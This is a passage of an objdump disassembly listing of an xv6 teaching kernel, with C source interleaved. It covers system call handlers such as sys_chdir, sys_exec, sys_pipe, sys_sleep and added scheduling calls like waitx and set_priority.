80105568: 83 c4 10 add $0x10,%esp 8010556b: 31 c0 xor %eax,%eax } 8010556d: c9 leave 8010556e: c3 ret 8010556f: 90 nop begin_op(); if((argstr(0, &path)) < 0 || argint(1, &major) < 0 || argint(2, &minor) < 0 || (ip = create(path, T_DEV, major, minor)) == 0){ end_op(); 80105570: e8 3b d6 ff ff call 80102bb0 <end_op> return -1; 80105575: b8 ff ff ff ff mov $0xffffffff,%eax } iunlockput(ip); end_op(); return 0; } 8010557a: c9 leave 8010557b: c3 ret 8010557c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105580 <sys_chdir>: int sys_chdir(void) { 80105580: 55 push %ebp 80105581: 89 e5 mov %esp,%ebp 80105583: 56 push %esi 80105584: 53 push %ebx 80105585: 83 ec 10 sub $0x10,%esp char *path; struct inode *ip; struct proc *curproc = myproc(); 80105588: e8 23 e2 ff ff call 801037b0 <myproc> 8010558d: 89 c6 mov %eax,%esi begin_op(); 8010558f: e8 ac d5 ff ff call 80102b40 <begin_op> if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){ 80105594: 8d 45 f4 lea -0xc(%ebp),%eax 80105597: 83 ec 08 sub $0x8,%esp 8010559a: 50 push %eax 8010559b: 6a 00 push $0x0 8010559d: e8 ae f5 ff ff call 80104b50 <argstr> 801055a2: 83 c4 10 add $0x10,%esp 801055a5: 85 c0 test %eax,%eax 801055a7: 78 77 js 80105620 <sys_chdir+0xa0> 801055a9: 83 ec 0c sub $0xc,%esp 801055ac: ff 75 f4 pushl -0xc(%ebp) 801055af: e8 fc c8 ff ff call 80101eb0 <namei> 801055b4: 83 c4 10 add $0x10,%esp 801055b7: 85 c0 test %eax,%eax 801055b9: 89 c3 mov %eax,%ebx 801055bb: 74 63 je 80105620 <sys_chdir+0xa0> end_op(); return -1; } ilock(ip); 801055bd: 83 ec 0c sub $0xc,%esp 801055c0: 50 push %eax 801055c1: e8 9a c0 ff ff call 80101660 <ilock> if(ip->type != T_DIR){ 801055c6: 83 c4 10 add $0x10,%esp 801055c9: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 801055ce: 75 30 jne 80105600 <sys_chdir+0x80> iunlockput(ip); end_op(); return -1; } iunlock(ip); 801055d0: 83 ec 0c sub $0xc,%esp 801055d3: 53 push %ebx 801055d4: e8 67 c1 ff ff call 80101740 <iunlock> iput(curproc->cwd); 801055d9: 58 pop %eax 801055da: ff 76 68 pushl 0x68(%esi) 801055dd: e8 ae c1 ff ff call 80101790 <iput> end_op(); 801055e2: e8 c9 d5 ff ff call 80102bb0 <end_op> curproc->cwd = ip; 801055e7: 89 5e 68 mov %ebx,0x68(%esi) return 0; 801055ea: 83 c4 10 add $0x10,%esp 801055ed: 31 c0 xor %eax,%eax } 801055ef: 8d 65 f8 lea -0x8(%ebp),%esp 801055f2: 5b pop %ebx 801055f3: 5e pop %esi 801055f4: 5d pop %ebp 801055f5: c3 ret 801055f6: 8d 76 00 lea 0x0(%esi),%esi 801055f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi end_op(); return -1; } ilock(ip); if(ip->type != T_DIR){ iunlockput(ip); 80105600: 83 ec 0c sub $0xc,%esp 80105603: 53 push %ebx 80105604: e8 e7 c2 ff ff call 801018f0 <iunlockput> end_op(); 80105609: e8 a2 d5 ff ff call 80102bb0 <end_op> return -1; 8010560e: 83 c4 10 add $0x10,%esp 80105611: b8 ff ff ff ff mov $0xffffffff,%eax 80105616: eb d7 jmp 801055ef <sys_chdir+0x6f> 80105618: 90 nop 80105619: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi struct inode *ip; struct proc *curproc = myproc(); begin_op(); if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){ end_op(); 80105620: e8 8b d5 ff ff call 80102bb0 <end_op> return -1; 80105625: b8 ff ff ff ff mov $0xffffffff,%eax 8010562a: eb c3 jmp 801055ef <sys_chdir+0x6f> 8010562c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105630 <sys_exec>: return 0; } int sys_exec(void) { 80105630: 55 push %ebp 80105631: 89 e5 mov %esp,%ebp 80105633: 57 push %edi 80105634: 56 push %esi 80105635: 53 push %ebx char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 80105636: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax return 0; } int sys_exec(void) { 8010563c: 81 ec a4 00 00 00 sub $0xa4,%esp char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 80105642: 50 push %eax 80105643: 6a 00 push $0x0 80105645: e8 06 f5 ff ff call 80104b50 <argstr> 8010564a: 83 c4 10 add $0x10,%esp 8010564d: 85 c0 test %eax,%eax 8010564f: 78 7f js 801056d0 <sys_exec+0xa0> 80105651: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax 80105657: 83 ec 08 sub $0x8,%esp 8010565a: 50 push %eax 8010565b: 6a 01 push $0x1 8010565d: e8 3e f4 ff ff call 80104aa0 <argint> 80105662: 83 c4 10 add $0x10,%esp 80105665: 85 c0 test %eax,%eax 80105667: 78 67 js 801056d0 <sys_exec+0xa0> return -1; } memset(argv, 0, sizeof(argv)); 80105669: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 8010566f: 83 ec 04 sub $0x4,%esp 80105672: 8d b5 68 ff ff ff lea -0x98(%ebp),%esi 80105678: 68 80 00 00 00 push $0x80 8010567d: 6a 00 push $0x0 8010567f: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi 80105685: 50 push %eax 80105686: 31 db xor %ebx,%ebx 80105688: e8 03 f1 ff ff call 80104790 <memset> 8010568d: 83 c4 10 add $0x10,%esp for(i=0;; i++){ if(i >= NELEM(argv)) return -1; if(fetchint(uargv+4*i, (int*)&uarg) < 0) 80105690: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax 80105696: 83 ec 08 sub $0x8,%esp 80105699: 57 push %edi 8010569a: 8d 04 98 lea (%eax,%ebx,4),%eax 8010569d: 50 push %eax 8010569e: e8 5d f3 ff ff call 80104a00 <fetchint> 801056a3: 83 c4 10 add $0x10,%esp 801056a6: 85 c0 test %eax,%eax 801056a8: 78 26 js 801056d0 <sys_exec+0xa0> return -1; if(uarg == 0){ 801056aa: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax 801056b0: 85 c0 test %eax,%eax 801056b2: 74 2c je 801056e0 <sys_exec+0xb0> argv[i] = 0; break; } if(fetchstr(uarg, &argv[i]) < 0) 801056b4: 83 ec 08 sub $0x8,%esp 801056b7: 56 push %esi 801056b8: 50 push %eax 801056b9: e8 82 f3 ff ff call 80104a40 <fetchstr> 801056be: 83 c4 10 add $0x10,%esp 801056c1: 85 c0 test %eax,%eax 801056c3: 78 0b js 801056d0 <sys_exec+0xa0> if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ return -1; } memset(argv, 0, sizeof(argv)); for(i=0;; i++){ 801056c5: 83 c3 01 add $0x1,%ebx 801056c8: 83 c6 04 add $0x4,%esi if(i >= NELEM(argv)) 801056cb: 83 fb 20 cmp $0x20,%ebx 801056ce: 75 c0 jne 80105690 <sys_exec+0x60> } if(fetchstr(uarg, &argv[i]) < 0) return -1; } return exec(path, argv); } 801056d0: 8d 65 f4 lea -0xc(%ebp),%esp char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ return -1; 801056d3: b8 ff ff ff ff mov $0xffffffff,%eax } if(fetchstr(uarg, &argv[i]) < 0) return -1; } return exec(path, argv); } 801056d8: 5b pop %ebx 801056d9: 5e pop %esi 801056da: 5f pop %edi 801056db: 5d pop %ebp 801056dc: c3 ret 801056dd: 8d 76 00 lea 0x0(%esi),%esi break; } if(fetchstr(uarg, &argv[i]) < 0) return -1; } return exec(path, argv); 801056e0: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 801056e6: 83 ec 08 sub $0x8,%esp if(i >= NELEM(argv)) return -1; if(fetchint(uargv+4*i, (int*)&uarg) < 0) return -1; if(uarg == 0){ argv[i] = 0; 801056e9: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4) 801056f0: 00 00 00 00 break; } if(fetchstr(uarg, &argv[i]) < 0) return -1; } return exec(path, argv); 801056f4: 50 push %eax 801056f5: ff b5 5c ff ff ff pushl -0xa4(%ebp) 801056fb: e8 f0 b2 ff ff call 801009f0 <exec> 80105700: 83 c4 10 add $0x10,%esp } 80105703: 8d 65 f4 lea -0xc(%ebp),%esp 80105706: 5b pop %ebx 80105707: 5e pop %esi 80105708: 5f pop %edi 80105709: 5d pop %ebp 8010570a: c3 ret 8010570b: 90 nop 8010570c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105710 <sys_pipe>: int sys_pipe(void) { 80105710: 55 push %ebp 80105711: 89 e5 mov %esp,%ebp 80105713: 57 push %edi 80105714: 56 push %esi 80105715: 53 push %ebx int *fd; struct file *rf, *wf; int fd0, fd1; if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 80105716: 8d 45 dc lea -0x24(%ebp),%eax return exec(path, argv); } int sys_pipe(void) { 80105719: 83 ec 20 sub $0x20,%esp int *fd; struct file *rf, *wf; int fd0, fd1; if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 8010571c: 6a 08 push $0x8 8010571e: 50 push %eax 8010571f: 6a 00 push $0x0 80105721: e8 ca f3 ff ff call 80104af0 <argptr> 80105726: 83 c4 10 add $0x10,%esp 80105729: 85 c0 test %eax,%eax 8010572b: 78 4a js 80105777 <sys_pipe+0x67> return -1; if(pipealloc(&rf, &wf) < 0) 8010572d: 8d 45 e4 lea -0x1c(%ebp),%eax 80105730: 83 ec 08 sub $0x8,%esp 80105733: 50 push %eax 80105734: 8d 45 e0 lea -0x20(%ebp),%eax 80105737: 50 push %eax 80105738: e8 a3 da ff ff call 801031e0 <pipealloc> 8010573d: 83 c4 10 add $0x10,%esp 80105740: 85 c0 test %eax,%eax 80105742: 78 33 js 80105777 <sys_pipe+0x67> fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ 80105744: 31 db xor %ebx,%ebx if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) return -1; if(pipealloc(&rf, &wf) < 0) return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 80105746: 8b 7d e0 mov -0x20(%ebp),%edi // Takes over file reference from caller on success. static int fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); 80105749: e8 62 e0 ff ff call 801037b0 <myproc> 8010574e: 66 90 xchg %ax,%ax for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd] == 0){ 80105750: 8b 74 98 28 mov 0x28(%eax,%ebx,4),%esi 80105754: 85 f6 test %esi,%esi 80105756: 74 30 je 80105788 <sys_pipe+0x78> fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ 80105758: 83 c3 01 add $0x1,%ebx 8010575b: 83 fb 10 cmp $0x10,%ebx 8010575e: 75 f0 jne 80105750 <sys_pipe+0x40> return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ if(fd0 >= 0) myproc()->ofile[fd0] = 0; fileclose(rf); 80105760: 83 ec 0c sub $0xc,%esp 80105763: ff 75 e0 pushl -0x20(%ebp) 80105766: e8 c5 b6 ff ff call 80100e30 <fileclose> fileclose(wf); 8010576b: 58 pop %eax 8010576c: ff 75 e4 pushl -0x1c(%ebp) 8010576f: e8 bc b6 ff ff call 80100e30 <fileclose> return -1; 80105774: 83 c4 10 add $0x10,%esp } fd[0] = fd0; fd[1] = fd1; return 0; } 80105777: 8d 65 f4 lea -0xc(%ebp),%esp if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ if(fd0 >= 0) myproc()->ofile[fd0] = 0; fileclose(rf); fileclose(wf); return -1; 8010577a: b8 ff ff ff ff mov $0xffffffff,%eax } fd[0] = fd0; fd[1] = fd1; return 0; } 8010577f: 5b pop %ebx 80105780: 5e pop %esi 80105781: 5f pop %edi 80105782: 5d pop %ebp 80105783: c3 ret 80105784: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd] == 0){ curproc->ofile[fd] = f; 80105788: 8d 73 08 lea 0x8(%ebx),%esi 8010578b: 89 7c b0 08 mov %edi,0x8(%eax,%esi,4) if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) return -1; if(pipealloc(&rf, &wf) < 0) return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 8010578f: 8b 7d e4 mov -0x1c(%ebp),%edi // Takes over file reference from caller on success. static int fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); 80105792: e8 19 e0 ff ff call 801037b0 <myproc> for(fd = 0; fd < NOFILE; fd++){ 80105797: 31 d2 xor %edx,%edx 80105799: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(curproc->ofile[fd] == 0){ 801057a0: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx 801057a4: 85 c9 test %ecx,%ecx 801057a6: 74 18 je 801057c0 <sys_pipe+0xb0> fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ 801057a8: 83 c2 01 add $0x1,%edx 801057ab: 83 fa 10 cmp $0x10,%edx 801057ae: 75 f0 jne 801057a0 <sys_pipe+0x90> if(pipealloc(&rf, &wf) < 0) return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ if(fd0 >= 0) myproc()->ofile[fd0] = 0; 801057b0: e8 fb df ff ff call 801037b0 <myproc> 801057b5: c7 44 b0 08 00 00 00 movl $0x0,0x8(%eax,%esi,4) 801057bc: 00 801057bd: eb a1 jmp 80105760 <sys_pipe+0x50> 801057bf: 90 nop int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd] == 0){ curproc->ofile[fd] = f; 801057c0: 89 7c 90 28 mov %edi,0x28(%eax,%edx,4) myproc()->ofile[fd0] = 0; fileclose(rf); fileclose(wf); return -1; } fd[0] = fd0; 801057c4: 8b 45 dc mov -0x24(%ebp),%eax 801057c7: 89 18 mov %ebx,(%eax) fd[1] = fd1; 801057c9: 8b 45 dc mov -0x24(%ebp),%eax 801057cc: 89 50 04 mov %edx,0x4(%eax) return 0; } 801057cf: 8d 65 f4 lea -0xc(%ebp),%esp fileclose(wf); return -1; } fd[0] = fd0; fd[1] = fd1; return 0; 801057d2: 31 c0 xor %eax,%eax } 801057d4: 5b pop %ebx 801057d5: 5e pop %esi 801057d6: 5f pop %edi 801057d7: 5d pop %ebp 801057d8: c3 ret 801057d9: 66 90 xchg %ax,%ax 801057db: 66 90 xchg %ax,%ax 801057dd: 66 90 xchg %ax,%ax 801057df: 90 nop 801057e0 <sys_fork>: #include "mmu.h" #include "proc.h" int sys_fork(void) { 801057e0: 55 push %ebp 801057e1: 89 e5 mov %esp,%ebp return fork(); } 801057e3: 5d pop %ebp #include "proc.h" int sys_fork(void) { return fork(); 801057e4: e9 67 e1 ff ff jmp 80103950 <fork> 801057e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801057f0 <sys_exit>: } int sys_exit(void) { 801057f0: 55 push %ebp 801057f1: 89 e5 mov %esp,%ebp 801057f3: 83 ec 08 sub $0x8,%esp exit(); 801057f6: e8 75 e4 ff ff call 80103c70 <exit> return 0; // not reached } 801057fb: 31 c0 xor %eax,%eax 801057fd: c9 leave 801057fe: c3 ret 801057ff: 90 nop 80105800 <sys_wait>: int sys_wait(void) { 80105800: 55 push %ebp 80105801: 89 e5 mov %esp,%ebp return wait(); } 80105803: 5d pop %ebp } int sys_wait(void) { return wait(); 80105804: e9 b7 e6 ff ff jmp 80103ec0 <wait> 80105809: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105810 <sys_waitx>: } int sys_waitx(void) { 80105810: 55 push %ebp 80105811: 89 e5 mov %esp,%ebp 80105813: 83 ec 1c sub $0x1c,%esp int *wtime; int *rtime; if(argptr(0, (char**)&wtime, sizeof(int)) < 0) 80105816: 8d 45 f0 lea -0x10(%ebp),%eax 80105819: 6a 04 push $0x4 8010581b: 50 push %eax 8010581c: 6a 00 push $0x0 8010581e: e8 cd f2 ff ff call 80104af0 <argptr> 80105823: 83 c4 10 add $0x10,%esp 80105826: 85 c0 test %eax,%eax 80105828: 78 2e js 80105858 <sys_waitx+0x48> return -1; if(argptr(1, (char**)&rtime, sizeof(int)) < 0) 8010582a: 8d 45 f4 lea -0xc(%ebp),%eax 8010582d: 83 ec 04 sub $0x4,%esp 80105830: 6a 04 push $0x4 80105832: 50 push %eax 80105833: 6a 01 push $0x1 80105835: e8 b6 f2 ff ff call 80104af0 <argptr> 8010583a: 83 c4 10 add $0x10,%esp 8010583d: 85 c0 test %eax,%eax 8010583f: 78 17 js 80105858 <sys_waitx+0x48> return -1; return waitx(wtime, rtime); 80105841: 83 ec 08 sub $0x8,%esp 80105844: ff 75 f4 pushl -0xc(%ebp) 80105847: ff 75 f0 pushl -0x10(%ebp) 8010584a: e8 71 e7 ff ff call 80103fc0 <waitx> 8010584f: 83 c4 10 add $0x10,%esp } 80105852: c9 leave 80105853: c3 ret 80105854: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi { int *wtime; int *rtime; if(argptr(0, (char**)&wtime, sizeof(int)) < 0) return -1; 80105858: b8 ff ff ff ff mov $0xffffffff,%eax if(argptr(1, (char**)&rtime, sizeof(int)) < 0) return -1; return waitx(wtime, rtime); } 8010585d: c9 leave 8010585e: c3 ret 8010585f: 90 nop 80105860 <sys_getpinfo>: // return getpinfo(pid,p); // } int sys_getpinfo(void) { 80105860: 55 push %ebp 80105861: 89 e5 mov %esp,%ebp 80105863: 83 ec 20 sub $0x20,%esp struct proc_stat *p; int pid; if(argint(1,&pid)<0) 80105866: 8d 45 f4 lea -0xc(%ebp),%eax 80105869: 50 push %eax 8010586a: 6a 01 push $0x1 8010586c: e8 2f f2 ff ff call 80104aa0 <argint> 80105871: 83 c4 10 add $0x10,%esp 80105874: 85 c0 test %eax,%eax 80105876: 78 30 js 801058a8 <sys_getpinfo+0x48> return -1; if(argptr(0, (char**)&p, sizeof(struct proc_stat)) < 0) 80105878: 8d 45 f0 lea -0x10(%ebp),%eax 8010587b: 83 ec 04 sub $0x4,%esp 8010587e: 6a 24 push $0x24 80105880: 50 push %eax 80105881: 6a 00 push $0x0 80105883: e8 68 f2 ff ff call 80104af0 <argptr> 80105888: 83 c4 10 add $0x10,%esp 8010588b: 85 c0 test %eax,%eax 8010588d: 78 19 js 801058a8 <sys_getpinfo+0x48> return -1; return getpinfo(pid,p); 8010588f: 83 ec 08 sub $0x8,%esp 80105892: ff 75 f0 pushl -0x10(%ebp) 80105895: ff 75 f4 pushl -0xc(%ebp) 80105898: e8 d3 e1 ff ff call 80103a70 <getpinfo> 8010589d: 83 c4 10 add $0x10,%esp } 801058a0: c9 leave 801058a1: c3 ret 801058a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi sys_getpinfo(void) { struct proc_stat *p; int pid; if(argint(1,&pid)<0) return -1; 801058a8: b8 ff ff ff ff mov $0xffffffff,%eax if(argptr(0, (char**)&p, sizeof(struct proc_stat)) < 0) return -1; return getpinfo(pid,p); } 801058ad: c9 leave 801058ae: c3 ret 801058af: 90 nop 801058b0 <sys_kill>: int sys_kill(void) { 801058b0: 55 push %ebp 801058b1: 89 e5 mov %esp,%ebp 801058b3: 83 ec 20 sub $0x20,%esp int pid; if(argint(0, &pid) < 0) 801058b6: 8d 45 f4 lea -0xc(%ebp),%eax 801058b9: 50 push %eax 801058ba: 6a 00 push $0x0 801058bc: e8 df f1 ff ff call 80104aa0 <argint> 801058c1: 83 c4 10 add $0x10,%esp 801058c4: 85 c0 test %eax,%eax 801058c6: 78 18 js 801058e0 <sys_kill+0x30> return -1; return kill(pid); 801058c8: 83 ec 0c sub $0xc,%esp 801058cb: ff 75 f4 pushl -0xc(%ebp) 801058ce: e8 7d e8 ff ff call 80104150 <kill> 801058d3: 83 c4 10 add $0x10,%esp } 801058d6: c9 leave 801058d7: c3 ret 801058d8: 90 nop 801058d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi sys_kill(void) { int pid; if(argint(0, &pid) < 0) return -1; 801058e0: b8 ff ff ff ff mov $0xffffffff,%eax return kill(pid); } 801058e5: c9 leave 801058e6: c3 ret 801058e7: 89 f6 mov %esi,%esi 801058e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801058f0 <sys_getpid>: int sys_getpid(void) { 801058f0: 55 push %ebp 801058f1: 89 e5 mov %esp,%ebp 801058f3: 83 ec 08 sub $0x8,%esp return myproc()->pid; 801058f6: e8 b5 de ff ff call 801037b0 <myproc> 801058fb: 8b 40 10 mov 0x10(%eax),%eax } 801058fe: c9 leave 801058ff: c3 ret 80105900 <sys_sbrk>: int sys_sbrk(void) { 80105900: 55 push %ebp 80105901: 89 e5 mov %esp,%ebp 80105903: 53 push %ebx int addr; int n; if(argint(0, &n) < 0) 80105904: 8d 45 f4 lea -0xc(%ebp),%eax return myproc()->pid; } int sys_sbrk(void) { 80105907: 83 ec 1c sub $0x1c,%esp int addr; int n; if(argint(0, &n) < 0) 8010590a: 50 push %eax 8010590b: 6a 00 push $0x0 8010590d: e8 8e f1 ff ff call 80104aa0 <argint> 80105912: 83 c4 10 add $0x10,%esp 80105915: 85 c0 test %eax,%eax 80105917: 78 27 js 80105940 <sys_sbrk+0x40> return -1; addr = myproc()->sz; 80105919: e8 92 de ff ff call 801037b0 <myproc> if(growproc(n) < 0) 8010591e: 83 ec 0c sub $0xc,%esp int addr; int n; if(argint(0, &n) < 0) return -1; addr = myproc()->sz; 80105921: 8b 18 mov (%eax),%ebx if(growproc(n) < 0) 80105923: ff 75 f4 pushl -0xc(%ebp) 80105926: e8 a5 df ff ff call 801038d0 <growproc> 8010592b: 83 c4 10 add $0x10,%esp 8010592e: 85 c0 test %eax,%eax 80105930: 78 0e js 80105940 <sys_sbrk+0x40> return -1; return addr; 80105932: 89 d8 mov %ebx,%eax } 80105934: 8b 5d fc mov -0x4(%ebp),%ebx 80105937: c9 leave 80105938: c3 ret 80105939: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi { int addr; int n; if(argint(0, &n) < 0) return -1; 80105940: b8 ff ff ff ff mov $0xffffffff,%eax 80105945: eb ed jmp 80105934 <sys_sbrk+0x34> 80105947: 89 f6 mov %esi,%esi 80105949: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105950 <sys_sleep>: return addr; } int sys_sleep(void) { 80105950: 55 push %ebp 80105951: 89 e5 mov %esp,%ebp 80105953: 53 push %ebx int n; uint ticks0; if(argint(0, &n) < 0) 80105954: 8d 45 f4 lea -0xc(%ebp),%eax return addr; } int sys_sleep(void) { 80105957: 83 ec 1c sub $0x1c,%esp int n; uint ticks0; if(argint(0, &n) < 0) 8010595a: 50 push %eax 8010595b: 6a 00 push $0x0 8010595d: e8 3e f1 ff ff call 80104aa0 <argint> 80105962: 83 c4 10 add $0x10,%esp 80105965: 85 c0 test %eax,%eax 80105967: 0f 88 8a 00 00 00 js 801059f7 <sys_sleep+0xa7> return -1; acquire(&tickslock); 8010596d: 83 ec 0c sub $0xc,%esp 80105970: 68 40 54 11 80 push $0x80115440 80105975: e8 16 ed ff ff call 80104690 <acquire> ticks0 = ticks; while(ticks - ticks0 < n){ 8010597a: 8b 55 f4 mov -0xc(%ebp),%edx 8010597d: 83 c4 10 add $0x10,%esp uint ticks0; if(argint(0, &n) < 0) return -1; acquire(&tickslock); ticks0 = ticks; 80105980: 8b 1d 80 5c 11 80 mov 0x80115c80,%ebx while(ticks - ticks0 < n){ 80105986: 85 d2 test %edx,%edx 80105988: 75 27 jne 801059b1 <sys_sleep+0x61> 8010598a: eb 54 jmp 801059e0 <sys_sleep+0x90> 8010598c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(myproc()->killed){ release(&tickslock); return -1; } sleep(&ticks, &tickslock); 80105990: 83 ec 08 sub $0x8,%esp 80105993: 68 40 54 11 80 push $0x80115440 80105998: 68 80 5c 11 80 push $0x80115c80 8010599d: e8 5e e4 ff ff call 80103e00 <sleep> if(argint(0, &n) < 0) return -1; acquire(&tickslock); ticks0 = ticks; while(ticks - ticks0 < n){ 801059a2: a1 80 5c 11 80 mov 0x80115c80,%eax 801059a7: 83 c4 10 add $0x10,%esp 801059aa: 29 d8 sub %ebx,%eax 801059ac: 3b 45 f4 cmp -0xc(%ebp),%eax 801059af: 73 2f jae 801059e0 <sys_sleep+0x90> if(myproc()->killed){ 801059b1: e8 fa dd ff ff call 801037b0 <myproc> 801059b6: 8b 40 24 mov 0x24(%eax),%eax 801059b9: 85 c0 test %eax,%eax 801059bb: 74 d3 je 80105990 <sys_sleep+0x40> release(&tickslock); 801059bd: 83 ec 0c sub $0xc,%esp 801059c0: 68 40 54 11 80 push $0x80115440 801059c5: e8 76 ed ff ff call 80104740 <release> return -1; 801059ca: 83 c4 10 add $0x10,%esp 801059cd: b8 ff ff ff ff mov $0xffffffff,%eax } sleep(&ticks, &tickslock); } release(&tickslock); return 0; } 801059d2: 8b 5d fc mov -0x4(%ebp),%ebx 801059d5: c9 leave 801059d6: c3 ret 801059d7: 89 f6 mov %esi,%esi 801059d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi release(&tickslock); return -1; } sleep(&ticks, &tickslock); } release(&tickslock); 801059e0: 83 ec 0c sub $0xc,%esp 801059e3: 68 40 54 11 80 push $0x80115440 801059e8: e8 53 ed ff ff call 80104740 <release> return 0; 801059ed: 83 c4 10 add $0x10,%esp 801059f0: 31 c0 xor %eax,%eax } 801059f2: 8b 5d fc mov -0x4(%ebp),%ebx 801059f5: c9 leave 801059f6: c3 ret { int n; uint ticks0; if(argint(0, &n) < 0) return -1; 801059f7: b8 ff ff ff ff mov $0xffffffff,%eax 801059fc: eb d4 jmp 801059d2 <sys_sleep+0x82> 801059fe: 66 90 xchg %ax,%ax 80105a00 <sys_uptime>: // return how many clock tick interrupts have occurred // since start. int sys_uptime(void) { 80105a00: 55 push %ebp 80105a01: 89 e5 mov %esp,%ebp 80105a03: 53 push %ebx 80105a04: 83 ec 10 sub $0x10,%esp uint xticks; acquire(&tickslock); 80105a07: 68 40 54 11 80 push $0x80115440 80105a0c: e8 7f ec ff ff call 80104690 <acquire> xticks = ticks; 80105a11: 8b 1d 80 5c 11 80 mov 0x80115c80,%ebx release(&tickslock); 80105a17: c7 04 24 40 54 11 80 movl $0x80115440,(%esp) 80105a1e: e8 1d ed ff ff call 80104740 <release> return xticks; } 80105a23: 89 d8 mov %ebx,%eax 80105a25: 8b 5d fc mov -0x4(%ebp),%ebx 80105a28: c9 leave 80105a29: c3 ret 80105a2a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105a30 <sys_cps>: int sys_cps (void) { 80105a30: 55 push %ebp 80105a31: 89 e5 mov %esp,%ebp return cps(); } 80105a33: 5d pop %ebp } int sys_cps (void) { return cps(); 80105a34: e9 67 e8 ff ff jmp 801042a0 <cps> 80105a39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105a40 <sys_set_priority>: } int sys_set_priority(void) { 80105a40: 55 push %ebp 80105a41: 89 e5 mov %esp,%ebp 80105a43: 83 ec 20 sub $0x20,%esp int pid, pr; if (argint(0, &pid) < 0) 80105a46: 8d 45 f0 lea -0x10(%ebp),%eax 80105a49: 50 push %eax 80105a4a: 6a 00 push $0x0 80105a4c: e8 4f f0 ff ff call 80104aa0 <argint> 80105a51: 83 c4 10 add $0x10,%esp 80105a54: 85 c0 test %eax,%eax 80105a56: 78 28 js 80105a80 <sys_set_priority+0x40> { return -1; } if (argint(1, &pr) < 0) 80105a58: 8d 45 f4 lea -0xc(%ebp),%eax 80105a5b: 83 ec 08 sub $0x8,%esp 80105a5e: 50 push %eax 80105a5f: 6a 01 push $0x1 80105a61: e8 3a f0 ff ff call 80104aa0 <argint> 80105a66: 83 c4 10 add $0x10,%esp 80105a69: 85 c0 test %eax,%eax 80105a6b: 78 13 js 80105a80 <sys_set_priority+0x40> { return -1; } return set_priority(pid, pr); 80105a6d: 83 ec 08 sub $0x8,%esp 80105a70: ff 75 f4 pushl -0xc(%ebp) 80105a73: ff 75 f0 pushl -0x10(%ebp) 80105a76: e8 f5 e8 ff ff call 80104370 <set_priority> 80105a7b: 83 c4 10 add $0x10,%esp } 80105a7e: c9 leave 80105a7f: c3 ret sys_set_priority(void) { int pid, pr; if (argint(0, &pid) < 0) { return -1; 80105a80: b8 ff ff ff ff mov $0xffffffff,%eax { return -1; } return set_priority(pid, pr); } 80105a85: c9 leave 80105a86: c3 ret 80105a87 <alltraps>: # vectors.S sends all traps here. .globl alltraps alltraps: # Build trap frame. pushl %ds 80105a87: 1e push %ds pushl %es 80105a88: 06 push %es pushl %fs 80105a89: 0f a0 push %fs pushl %gs 80105a8b: 0f a8 push %gs pushal 80105a8d: 60 pusha # Set up data segments. movw $(SEG_KDATA<<3), %ax 80105a8e: 66 b8 10 00 